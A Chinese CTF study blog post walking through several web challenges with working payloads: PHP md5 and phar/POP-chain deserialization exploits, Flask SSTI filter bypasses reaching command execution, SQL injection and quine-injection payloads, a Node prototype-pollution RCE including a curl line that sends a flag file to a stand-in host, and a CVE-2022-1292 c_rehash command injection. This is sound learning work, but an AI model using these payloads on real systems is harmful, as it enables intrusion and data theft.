2023-3-6 WEEK1 学习

WEEK1 学习

WEB

[NSSCTF 2022 Spring Recruit]babyphp

<?php
highlight_file(__FILE__);
include_once('flag.php');
if(isset($_POST['a'])&&!preg_match('/[0-9]/',$_POST['a'])&&intval($_POST['a'])){
    if(isset($_POST['b1'])&&$_POST['b2']){
        if($_POST['b1']!=$_POST['b2']&&md5($_POST['b1'])===md5($_POST['b2'])){
            if($_POST['c1']!=$_POST['c2']&&is_string($_POST['c1'])&&is_string($_POST['c2'])&&md5($_POST['c1'])==md5($_POST['c2'])){
                echo $flag;
            }else{
                echo "yee";
            }
        }else{
            echo "nop";
        }
    }else{
        echo "go on";
    }
}else{
    echo "let's get some php";
}
?>

分析代码可以知道得到flag需要满足的条件如下

1、传参数a的方式是POST传参,传入的值不能是0-9,可以使用数组绕过

2、b1和b2需要他们的值不相等但是他们的md5值相等

3、c1和c2的字符串md5值弱相等,不能使用数组绕过了

QNKCDZO
0e830400451993494058024219903391
 
s878926199a
0e545993274517709034328855841020
 
s155964671a
0e342768416822451524974117254469
 
s214587387a
0e848240448830537924465865611904
 
s214587387a
0e848240448830537924465865611904
 
s878926199a
0e545993274517709034328855841020
payload:a[]=1&b1[]=1&b2[]=2&c1=s878926199a&c2=s214587387a

[NISACTF 2022]popchains

<?php

echo 'Happy New Year~ MAKE A WISH<br>';

if(isset($_GET['wish'])){
    @unserialize($_GET['wish']);
}
else{
    $a=new Road_is_Long;
    highlight_file(__FILE__);
}
/***************************pop your 2022*****************************/

class Road_is_Long{
    public $page;
    public $string;
    public function __construct($file='index.php'){
        $this->page = $file;
    }
    public function __toString(){
        return $this->string->page;
    }

    public function __wakeup(){
        if(preg_match("/file|ftp|http|https|gopher|dict|\.\./i", $this->page)) {
            echo "You can Not Enter 2022";
            $this->page = "index.php";
        }
    }
}

class Try_Work_Hard{
    protected  $var;
    public function append($value){
        include($value);
    }
    public function __invoke(){
        $this->append($this->var);
    }
}

class Make_a_Change{
    public $effort;
    public function __construct(){
        $this->effort = array();
    }

    public function __get($key){
        $function = $this->effort;
        return $function();
    }
}

这题的几个魔术方法

__toString()	当对象在需要转换成字符串时,会调用此方法
__wakeup()		当调用unsearizlie()方法时调用。一般用来在唤醒时初始化资源对象
__invoke()		把对象当方法用的时候此方法会被调用
__construct() 	对象初始化时会调用此方法(对于内核而言是指初始化完成后调用此方法)
__get($name) 	获取对象不存在的属性或无法访问的属性时调用

include的执行需要通过__invoke(),它包含的内容来自变量var根据后面的提示应该是要用php伪协议读取flag.php里面的内容

第一步应该执行Make_a_Change__get()来调用Try_Work_Hard__invoke()$effort 指向 Try_Work_Hard 的对象观察 Road_is_Long ,发现可以通过 __toString() 启动 Make_a_Change 中的 __get()

所以 $string 指向 Make_a_Change 的对象这里要对 Road_is_Long new 两个对象出来,一个用于执行 __toString() ,另一个通过 __wakeup() 然后字符串匹配来调用前者

<?php
class Road_is_Long{
    public $page;
    public $string;
    public function __toString(){
        return $this->string->page;
    }
    public function __wakeup(){
        if(preg_match("/file|ftp|http|https|gopher|dict|\.\./i", $this->page)) {
            echo "You can Not Enter 2022";
            $this->page = "index.php";
        }
    }
}
class Try_Work_Hard{
    protected  $var="php://filter/convert.base64-encode/resource=/flag";
    public function append($value){
        include($value);
    }
    public function __invoke(){
        $this->append($this->var);
    }
}
class Make_a_Change{
    public $effort;
    public function __construct(){
        $this->effort = array();
    }
    public function __get($key){
        $function = $this->effort;
        return $function();
    }
}
//开造
$a = new Road_is_Long;
$tmp = new Road_is_Long;
$b = new Try_Work_Hard;
$c = new Make_a_Change;
$c->effort=$b;
$tmp->string=$c;
$a->page=$tmp;
echo serialize($a);

[NCTF 2018]flask真香

发现过滤的很多,存在违禁词时会返回500状态,过滤了:

class
subclasses
config
args
request
open
eval
import

可以找到session对象,并且利用其dict的类型来通过字典的键名(键名为字符串,可拼接)来寻找我们需要的类。
通过字符串拼接来绕过过滤,构造:{{session['cla'+'ss']}}然后不断拼接__bases__[0]来一层一层向上查找基类,直到找到object基类:

{{session['__cla'+'ss__'].__bases__[0].__bases__[0].__bases__[0].__bases__[0]}}

再利用__subclasses__去访问object基类下的所有子类:

{{session['__cla'+'ss__'].__bases__[0].__bases__[0].__bases__[0].__bases__[0]['__subcla'+'sses__']()[:}}

我们尝试寻找可以执行命令的子类,主要应该考虑os类,在页面中搜索后找到os._wrap_close类,定位其位置并使用__init__来将其实例化,再使用__globals__来查看所有变量:

{{session['__cla'+'ss__'].__bases__[0].__bases__[0].__bases__[0].__bases__[0]['__subcla'+'sses__']()[237].__init__.__globals__}}

并且我们也在该类下找到了可以用于执行命令的popen函数:

但是popen也会被过滤,还是使用字符串拼接的方法绕过:

{{""['__cla'+'ss__'].__bases__[0].__bases__[0].__bases__[0].__bases__[0]['__subcla'+'sses__']()[237].__init__.__globals__['po'+'pen']('ls').read()}}
{{""['__cla''ss__'].__bases__[0]['__subcl''asses__']()[117].__init__.__globals__['__bui''ltins__']['ev''al']("__im""port__('o''s').po""pen('cat /T*').read()")}}

遇到过滤了的关键字就用拼接来绕过

[SWPUCTF 2021 新生赛]sql

看题目的title发现参数就是wllm,先尝试输入一个数字进去,有回显,应该是一个数字型sql注入

?wllm=1'/**/'order/**/by/**/3#//回显正常,长度为3
?wllm=-1'union/** select/**/1,2,3#//找回显位置
?wllm=-1'union/**/select/**/1,2,database()#//查当前数据库
?wllm=-1 'union/**/select/**/1,2,group_concat(table_name)/**/from/**/information_schema.tables/**/where/**/table_schema/**/like/**/database()%23//查表test_db数据库下的表
?wllm=-1'union/**/select/**/1,2,group_concat(column_name)/**/from/**/ information_schema.columns/**/where/**/table_schema/**/like/**/database()#// 查LTLT表下的字段
?wllm=-1'union/**/select/**/1,2,group_concat(flag)/**/from/**/test_db.LTLT_ flag#//得到flag

[西湖论剑 2022]real_ez_node

在index.js里面看到这么一行代码,发现过滤了__proto__,猜测应该是原型链污染,可以使用constructor.prototype绕过。

if(!index.includes("__proto__")){
          safeobj.expand(user, index, req.body[index])
      }

/copy路由中发现ip被限制,一开始觉得可以通过改HTTP头来伪造的,但是发现var ip = req.connection.remoteAddress;说明不能用请求头来伪造ip,应该是要用/curl路由发送SSRF来打copy路由了。这里很明显用 safeobj.expand 把接收到的东西给放到 user 里了。

expand: function (obj, path, thing) {
      if (!path || typeof thing === 'undefined') {
        return;
      }
      obj = isObject(obj) && obj !== null ? obj : {};
      var props = path.split('.');
      if (props.length === 1) {
        obj[props.shift()] = thing;
      } else {
        var prop = props.shift();
        if (!(prop in obj)) {
          obj[prop] = {};
        }
        _safe.expand(obj[prop], props.join('.'), thing);
      }
    },

expand函数存在原型链污染漏洞

const safeobj = require('safe-obj');
var payload = `{"__proto__":{"whoami":"Vulnerable"}}`;
let user = {};
console.log("Before whoami: " + user.whoami);

for (let index in JSON.parse(payload)) {
    safeobj.expand(user, index, JSON.parse(payload)[index])
}
console.log("After whoami: " + user.whoami);

因为这个是ejs的,所以可以直接用它的漏洞

{"constructor.prototype.outputFunctionName":
"a=1;return global.process.mainModule.constructor._load('child_process').execSync('cat /flag.txt');//"}
 
{"constructor.prototype.outputFunctionName":"_tmp1;return global.process.mainModule.require('child_process').exec('curl vps:port/`cat /flag.txt`')"}

编写exp

import requests
import urllib.parse

payload = ''' HTTP/1.1

POST /copy HTTP/1.1
Host: 127.0.0.1
Content-Type: application/json
Content-Length: 200
Connection: close

{"constructor.prototype.outputFunctionName": "_tmp1;global.process.mainModule.require('child_process').exec('cat /flag.txt');var __tmp2//"}

GET / HTTP/1.1
test:'''.replace("\n", "\r\n")

def payload_encode(raw):
    ret = u""
    for i in raw:
        ret += chr(0x0100 + ord(i))
    return ret

payload_enc = payload_encode(payload)
print(payload_enc)
r = requests.get('http://1.14.71.254:28606/curl?q=' + urllib.parse.quote(payload_enc))
print(r.text)

[CISCN 2019华北Day1]Web1

这题一打开是一个登录界面,先注册一个账号进入,发现是一个网盘管理系统,看到上传文件先上传一下,上传了一个图片码,但是找不到路径,利用不了。发现还有一个下载和一个删除操作,在下载的时候抓包发现一个任意文件下载漏洞

  • chdir() 现实目录跳跃,解释了为什么下载时要filename = ../../indx.php ,而不是filename = index.php。

image-20230308211328562

<?php
#download.php
session_start();
if (!isset($_SESSION['login'])) {
    header("Location: login.php");
    die();
}

if (!isset($_POST['filename'])) {
    die();
}

include "class.php";
ini_set("open_basedir", getcwd() . ":/etc:/tmp");

chdir($_SESSION['sandbox']);
$file = new File();
$filename = (string) $_POST['filename'];
if (strlen($filename) < 40 && $file->open($filename) && stristr($filename, "flag") === false) {
    Header("Content-type: application/octet-stream");
    Header("Content-Disposition: attachment; filename=" . basename($filename));
    echo $file->close();
} else {
    echo "File not exist";
}
?>
<?php
#delete.php
session_start();
if (!isset($_SESSION['login'])) {
    header("Location: login.php");
    die();
}

if (!isset($_POST['filename'])) {
    die();
}

include "class.php";

chdir($_SESSION['sandbox']);
$file = new File();
$filename = (string) $_POST['filename'];
if (strlen($filename) < 40 && $file->open($filename)) {
    $file->detele();
    Header("Content-type: application/json");
    $response = array("success" => true, "error" => "");
    echo json_encode($response);
} else {
    Header("Content-type: application/json");
    $response = array("success" => false, "error" => "File not exist");
    echo json_encode($response);
}
?>

发现里面包含的是class.php

<?php
#class.php
error_reporting(0);
$dbaddr = "127.0.0.1";
$dbuser = "root";
$dbpass = "root";
$dbname = "dropbox";
$db = new mysqli($dbaddr, $dbuser, $dbpass, $dbname);

class User {
    public $db;

    public function __construct() {
        global $db;
        $this->db = $db;
    }

    public function user_exist($username) {
        $stmt = $this->db->prepare("SELECT `username` FROM `users` WHERE `username` = ? LIMIT 1;");
        $stmt->bind_param("s", $username);
        $stmt->execute();
        $stmt->store_result();
        $count = $stmt->num_rows;
        if ($count === 0) {
            return false;
        }
        return true;
    }

    public function add_user($username, $password) {
        if ($this->user_exist($username)) {
            return false;
        }
        $password = sha1($password . "SiAchGHmFx");
        $stmt = $this->db->prepare("INSERT INTO `users` (`id`, `username`, `password`) VALUES (NULL, ?, ?);");
        $stmt->bind_param("ss", $username, $password);
        $stmt->execute();
        return true;
    }

    public function verify_user($username, $password) {
        if (!$this->user_exist($username)) {
            return false;
        }
        $password = sha1($password . "SiAchGHmFx");
        $stmt = $this->db->prepare("SELECT `password` FROM `users` WHERE `username` = ?;");
        $stmt->bind_param("s", $username);
        $stmt->execute();
        $stmt->bind_result($expect);
        $stmt->fetch();
        if (isset($expect) && $expect === $password) {
            return true;
        }
        return false;
    }

    public function __destruct() {
        $this->db->close();
    }
}

class FileList {
    private $files;
    private $results;
    private $funcs;

    public function __construct($path) {
        $this->files = array();
        $this->results = array();
        $this->funcs = array();
        $filenames = scandir($path);

        $key = array_search(".", $filenames);
        unset($filenames[$key]);
        $key = array_search("..", $filenames);
        unset($filenames[$key]);

        foreach ($filenames as $filename) {
            $file = new File();
            $file->open($path . $filename);
            array_push($this->files, $file);
            $this->results[$file->name()] = array();
        }
    }

    public function __call($func, $args) {
        array_push($this->funcs, $func);
        foreach ($this->files as $file) {
            $this->results[$file->name()][$func] = $file->$func();
        }
    }

    public function __destruct() {
        $table = '<div id="container" class="container"><div class="table-responsive"><table id="table" class="table table-bordered table-hover sm-font">';
        $table .= '<thead><tr>';
        foreach ($this->funcs as $func) {
            $table .= '<th scope="col" class="text-center">' . htmlentities($func) . '</th>';
        }
        $table .= '<th scope="col" class="text-center">Opt</th>';
        $table .= '</thead><tbody>';
        foreach ($this->results as $filename => $result) {
            $table .= '<tr>';
            foreach ($result as $func => $value) {
                $table .= '<td class="text-center">' . htmlentities($value) . '</td>';
            }
            $table .= '<td class="text-center" filename="' . htmlentities($filename) . '"><a href="#" class="download">下载</a> / <a href="#" class="delete">åˆ é™¤</a></td>';
            $table .= '</tr>';
        }
        echo $table;
    }
}

class File {
    public $filename;

    public function open($filename) {
        $this->filename = $filename;
        if (file_exists($filename) && !is_dir($filename)) {
            return true;
        } else {
            return false;
        }
    }

    public function name() {
        return basename($this->filename);
    }

    public function size() {
        $size = filesize($this->filename);
        $units = array(' B', ' KB', ' MB', ' GB', ' TB');
        for ($i = 0; $size >= 1024 && $i < 4; $i++) $size /= 1024;
        return round($size, 2).$units[$i];
    }

    public function detele() {
        unlink($this->filename);
    }

    public function close() {
        return file_get_contents($this->filename);
    }
}
?>
 public function user_exist($username) {
        $stmt = $this->db->prepare("SELECT `username` FROM `users` WHERE `username` = ? LIMIT 1;");
        $stmt->bind_param("s", $username);
        $stmt->execute();
        $stmt->store_result();
        $count = $stmt->num_rows;
        if ($count === 0) {
            return false;
        }
        return true;
    }

看到这个一开始以为可以用sql注入,后来发现USER类里用了bind_param()绑定了username这个变量,所以是不存在sql注入的

class.php里面找到了file_get_content这个函数,发现这个函数在另外两个里面也用到了,if判断里存在open方法,且该方法存在file_exists可以触发反序列化,但是由于不允许有flag字符,所以不能用close()方法来进行任意文件读取,这也说明找准了做题的思路。

public function __call($func, $args) {
        array_push($this->funcs, $func);
        foreach ($this->files as $file) {
            $this->results[$file->name()][$func] = $file->$func();
        }
    }

在本题中,次方法的作用,是去调用对象没有的方法。首先把要调用的方法,压进$this->funcs中,然后遍历每一个文件,让每一个文件,都去调用刚才的方法。比如在index.php中,就出现了这个函数的调用。

当执行 $a = new FileList($_SESSION[‘sandbox’])时,会先调用构造函数,把“$_SESSION[‘sandbox’]”目录下的所有文件,都放到 $a->files中,注意这是个数组,解释了为什么,在后面构造payload时,$this->files要等于一个数组。然后 $a->Name(); 调用了一个FileList中并没有的方法,就会自动调用 __call($func, $args)函数,其中$func=Name。然后让
$a->files里的所有文件,都去调用这个方法。并把结果,存储在以filename为一级键名,方法为二级键名的数组中。然后Size方法同样如此。

foreach ($this->results as $filename => $result) {
            $table .= '<tr>';
            foreach ($result as $func => $value) {
                $table .= '<td class="text-center">' . htmlentities($value) . '</td>';
            }
            $table .= '<td class="text-center" filename="' . htmlentities($filename) . '"><a href="#" class="download">涓嬭浇</a> / <a href="#" class="delete">鍒犻櫎</a></td>';
            $table .= '</tr>';
        }
  • foreach ($this->results as $filename => $result) 每次把每个一级数组的值,传递给$result,即filename1[]
  • foreach ($result as $func => $value) 每次把每个二级数组的值,传递给$value
  • echo table 最后打印出来全部数据
<?php
class User {
    public $db;
}
class File{
	public $filename = '/flag.txt';
}
class FileList {
    private $files;
    private $results;
    private $funcs;
	public function __construct() {
        $this->files = array(new File());
        $this->results = array();
        $this->funcs = array();
	}
}


$o = new User();
$o->db =(new FileList());
echo serialize($o);

$phar = new Phar("phar.phar");
$phar->startBuffering();
$phar->setStub("GIF89a"."<?php __HALT_COMPILER(); ?>"); //设置stub,增加gif文件头
$phar->setMetadata($o); //将自定义meta-data存入manifest
$phar->addFromString("test.txt", "test"); //添加要压缩的文件
$phar->stopBuffering();
?>

生成phar文件改后缀为jpg,在delete操作中用phar协议读取。

[2021第五空间智能安全大赛] yet_another_mysql_injection

打开题目是一个登录页面,f12发现提示,得到源码

<?php
include_once("lib.php");
function alertMes($mes,$url){
    die("<script>alert('{$mes}');location.href='{$url}';</script>");
}

function checkSql($s) {
    if(preg_match("/regexp|between|in|flag|=|>|<|and|\||right|left|reverse|update|extractvalue|floor|substr|&|;|\\\$|0x|sleep|\ /i",$s)){
        alertMes('hacker', 'index.php');
    }
}

if (isset($_POST['username']) && $_POST['username'] != '' && isset($_POST['password']) && $_POST['password'] != '') {
    $username=$_POST['username'];
    $password=$_POST['password'];
    if ($username !== 'admin') {
        alertMes('only admin can login', 'index.php');
    }
    checkSql($password);
    $sql="SELECT password FROM users WHERE username='admin' and password='$password';";
    $user_result=mysqli_query($con,$sql);
    $row = mysqli_fetch_array($user_result);
    if (!$row) {
        alertMes("something wrong",'index.php');
    }
    if ($row['password'] === $password) {
        die($FLAG);
    } else {
    alertMes("wrong password",'index.php');
  }
}

if(isset($_GET['source'])){
  show_source(__FILE__);
  die;
}

分析源码发现只有password这个是可控的,但是在看下去发现要输入的和数据库里面的完全一致才能得到flag,尝试一下密码爆破结果成功了

sleep 可以用benchmark代替
 
<,> 可以用least(),greatest()代替
 
=,in 可以用like代替
 
substr 可以用mid代替

空格 可以用/**/代替
import requests,time
alp = "1234567890abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ~"
def get_pass():
    url = "http://1.14.71.254:28725/index.php"
    flag = ""
    while True:
        for i in alp:
            data={"username":"admin","password":f"1'or/**/password/**/like/**/'{flag+i}%'#"}
            resp = requests.post(url=url,data=data)
            time.sleep(0.1)
            if "something wrong" not in resp.text:
                flag+=i
                print(flag)
                break
            elif "~" in i:
                return
get_pass()

后来看了一下别人的wp发现好像不是这么做的0.0,用的是quine注入,正好借此学习了一下这个注入方式。核心思想就是让sql语句执行的结果等于sql语句本身,来绕过这个验证$row['password'] === $password

replace(object,search,replace)
把object对象中出现的search全部替换成replace

CHAR(34)="
CHAR(39)='
CHAR(46)=.

select replace(".",char(46),".");
+---------------------------+
| replace(".",char(46),".") |
+---------------------------+
| .                         |
+---------------------------+

mysql> select replace('replace(".",char(46),".")',char(46),'.');
+---------------------------------------------------+
| replace('replace(".",char(46),".")',char(46),'.') |
+---------------------------------------------------+
| replace(".",char(46),".")                         |
+---------------------------------------------------+
Quine基本形式:

replace(replace(‘str’,char(34),char(39)),char(46),‘str’)

先将str里的双引号替换成单引号,再用str替换str里的.

str基本形式(可以理解成上面的".")

replace(replace(".",char(34),char(39)),char(46),".")

完整的Quine就是Quine基本形式+str基本形式
payload:1'/**/union/**/select/**/replace(replace('1"/**/union/**/select/**/replace(replace(".",char(34),char(39)),char(46),".")#',char(34),char(39)),char(46),'1"/**/union/**/select/**/replace(replace(".",char(34),char(39)),char(46),".")#')#

[CISCN 2022 初赛] online_crt

CVE-2022-1292,主要思路就是生成证书之后,去利用proxy路由请求go server去修改证书的名称为反引号包裹的命令,然后再去访问Python的createlink路由从而调用c_rehash来触发RCE

下载压缩包看app.py源码,给了四个路由/getcrt这个是生成证书的路径,/createlink这个里面用了一个c_rehash的命令,不知道是什么意思,倒是搜出来了一堆的wp,/proxy路由由用户构造报文,可以crlf,附件中还给了goserver看看源码

/getcrt 生成一个x509证书
/createlink 调用 c_rehash 创建证书链接
/proxy 通过代理访问go服务

@app.route('/', methods=['GET', 'POST'])
def index():
    return render_template("index.html")


@app.route('/getcrt', methods=['GET', 'POST'])
def upload():
    Country = request.form.get("Country", "CN")
    Province = request.form.get("Province", "a")
    City = request.form.get("City", "a")
    OrganizationalName = request.form.get("OrganizationalName", "a")
    CommonName = request.form.get("CommonName", "a")
    EmailAddress = request.form.get("EmailAddress", "a")
    return get_crt(Country, Province, City, OrganizationalName, CommonName, EmailAddress)


@app.route('/createlink', methods=['GET'])
def info():
    json_data = {"info": os.popen("c_rehash static/crt/ && ls static/crt/").read()}
    return json.dumps(json_data)


@app.route('/proxy', methods=['GET'])
def proxy():
    uri = request.form.get("uri", "/")
    client = socket.socket()
    client.connect(('localhost', 8887))
    msg = f'''GET {uri} HTTP/1.1
    Host: test_api_host
    User-Agent: Guest
    Accept-Encoding: gzip, deflate
    Accept-Language: zh-CN,zh;q=0.9
    Connection: close
    
    '''
    client.send(msg.encode())
    data = client.recv(2048)
    client.close()
    return data.decode()
c_rehash

题目中出现了 c_rehash
c_rehash是openssl中的一个用perl编写的脚本工具
用于批量创建证书等文件 hash命名的符号链接
最近c_rehash 出了个命令注入漏洞 (CVE-2022-1292)
经过搜索网上并没有公开的exp
只能通过diff进行分析
https://github.com/openssl/openssl/commit/7c33270707b568c524a8ef125fe611a8872cb5e8
image-20230310215948313

这个地方对文件名的过滤不严格,没有过滤反引号就直接将文件名拼接到了命令里面

sub hash_dir {
    my %hashlist;
    print "Doing $_[0]\n";
    chdir $_[0];
    opendir(DIR, ".");
    my @flist = sort readdir(DIR);
    closedir DIR;
    if ( $removelinks ) {
        # Delete any existing symbolic links
        foreach (grep {/^[\da-f]+\.r{0,1}\d+$/} @flist) {
            if (-l $_) {
                print "unlink $_" if $verbose;
                unlink $_ || warn "Can't unlink $_, $!\n";
            }
        }
    }
    FILE: foreach $fname (grep {/\.(pem)|(crt)|(cer)|(crl)$/} @flist) {
        # Check to see if certificates and/or CRLs present.
        my ($cert, $crl) = check_file($fname);
        if (!$cert && !$crl) {
            print STDERR "WARNING: $fname does not contain a certificate or CRL: skipping\n";
            next;
        }
        link_hash_cert($fname) if ($cert);
        link_hash_crl($fname) if ($crl);
    }
}

发现在执行命令前会检查 文件后缀名.(pem)|(crt)|(cer)|(crl) 和文件内容
文件内容必须包含证书或者是吊销列表才能通过检查

利用条件
  1. 执行c_rehash 目标目录下文件可控
  2. 文件后缀符合要求
  3. 文件内容必须包含证书或者是吊销列表
  4. 文件名可控

题目中生成证书的功能可以创建一个满足要求的文件

继续看源码,go后端有一个admin路由,用于重命名证书文件

func admin(c *gin.Context) {
	staticPath := "/app/static/crt/"
	oldname := c.DefaultQuery("oldname", "")
	newname := c.DefaultQuery("newname", "")
	if oldname == "" || newname == "" || strings.Contains(oldname, "..") || strings.Contains(newname, "..") {
		c.String(500, "error")
		return
	}
	if c.Request.URL.RawPath != "" && c.Request.Host == "admin" {
		err := os.Rename(staticPath+oldname, staticPath+newname)
		if err != nil {
			return
		}
		c.String(200, newname)
		return
	}

	c.String(200, "no"+c.Request.URL.RawPath+","+c.Request.Host )
}

为了实现可控的文件名 我们需要调用go的重命名功能,go的路由在重命名前有两个校验,c.Request.URL.RawPath != “” && c.Request.Host == “admin”,首先需要绕过这两个验证

Request.URL.RawPath需要我们的路由中存在有编码的内容才有数据,所以尝试构造包

python 在代理请求时直接使用了socket 发送raw数据包,在数据包{uri}处没有过滤,所以我们可以直接在uri注入一个host头来替换原先的头

构造利用链

1、请求/getcrt路由,生成一个证书,返回证书路径

2、请求 /proxy 修改证书名为恶意文件名

3、请求/createlink 触发 c_rehash RCE

payload:uri=/admin/rename?oldname=d205092e-c641-423e-82f0-e96f583f3c38.crt&newname=0cat ${OLDPWD}flag >jnyghj.crt

最后curl一下static/crt/jnyghj得到flag

posted @   B0like  阅读(48)  评论(0编辑  收藏  举报
相关博文:
阅读排行:
· Manus爆火,是硬核还是营销?
· 终于写完轮子一部分:tcp代理 了,记录一下
· 震惊!C++程序真的从main开始吗?99%的程序员都答错了
· 别再用vector<bool>了!Google高级工程师:这可能是STL最大的设计失误
· 单元测试从入门到精通
点击右上角即可分享
微信分享提示